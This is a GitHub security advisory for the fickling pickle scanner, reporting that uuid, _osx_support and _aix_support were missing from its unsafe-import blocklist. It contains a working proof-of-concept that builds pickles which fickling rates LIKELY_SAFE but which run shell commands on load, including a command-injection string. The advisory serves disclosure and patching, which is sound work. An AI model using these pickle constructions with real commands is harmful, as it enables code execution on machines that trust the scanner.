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Fickling missing RCE-capable modules in UNSAFE_IMPORTS

High severity GitHub Reviewed Published Mar 3, 2026 in trailofbits/fickling • Updated Mar 4, 2026

Package

pip fickling (pip)

Affected versions

<= 0.1.8

Patched versions

0.1.9

Description

Assessment

The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (trailofbits/fickling@ffac347).

Original report

Summary

fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.

Affected Versions

  • fickling <= 0.1.8 (all versions)

Details

Missing Modules

fickling's UNSAFE_IMPORTS (86 modules) does not include:

Module RCE Function Internal Mechanism Importable On
uuid _get_command_stdout(cmd, *args) subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL) All platforms
_osx_support _read_output(cmdstring) os.system(cmd) via temp file All platforms
_osx_support _find_build_tool(toolname) Command injection via %s in _read_output("/usr/bin/xcrun -find %s" % toolname) All platforms
_aix_support _read_cmd_output(cmdstring) os.system(cmd) via temp file All platforms

Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.

Why These Pass fickling

  1. NonStandardImports: These are stdlib modules, so is_std_module() returns True → not flagged
  2. UnsafeImports: Module names not in UNSAFE_IMPORTS → not flagged
  3. OvertlyBadEvals: Function names added to likely_safe_imports (stdlib) → skipped
  4. UnusedVariables: Defeated by BUILD opcode (purposely unhardend)

Proof of Concept (using fickling's opcode API)

from fickling.fickle import (
    Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
    TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle

frame_data = b"\x95" + struct.pack("<Q", 60)

# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("uuid"),
    ShortBinUnicode("_get_command_stdout"),
    StackGlobal(),
    ShortBinUnicode("echo"),
    ShortBinUnicode("PROOF_OF_CONCEPT"),
    TupleTwo(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_aix_support"),
    ShortBinUnicode("_read_cmd_output"),
    StackGlobal(),
    ShortBinUnicode("echo PROOF_OF_CONCEPT"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
    Proto(4),
    Frame(struct.pack("<Q", 60), data=frame_data),
    ShortBinUnicode("_osx_support"),
    ShortBinUnicode("_find_build_tool"),
    StackGlobal(),
    ShortBinUnicode("x; echo INJECTED #"),
    TupleOne(),
    Reduce(),
    EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
    Build(),
    Stop(),
])

# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
    result = check_safety(p)
    print(f"{name}: severity={result.severity}, issues={len(result.results)}")
    # Output: severity=Severity.LIKELY_SAFE, issues=0

# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps())  # prints PROOF_OF_CONCEPT

Verified Output

$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT

Impact

An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.

Suggested Fix

Add to UNSAFE_IMPORTS in fickling:

"uuid",
"_osx_support",
"_aix_support",

Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.

Resources

  • Python source: Lib/uuid.py lines 156-168 (_get_command_stdout)
  • Python source: Lib/_osx_support.py lines 35-52 (_read_output), lines 54-68 (_find_build_tool)
  • Python source: Lib/_aix_support.py lines 14-30 (_read_cmd_output)
  • fickling source: analysis.py UNSAFE_IMPORTS set

References

@thomas-chauchefoin-tob thomas-chauchefoin-tob published to trailofbits/fickling Mar 3, 2026
Published to the GitHub Advisory Database Mar 4, 2026
Reviewed Mar 4, 2026
Last updated Mar 4, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-5hwf-rc88-82xm

Source code

Credits

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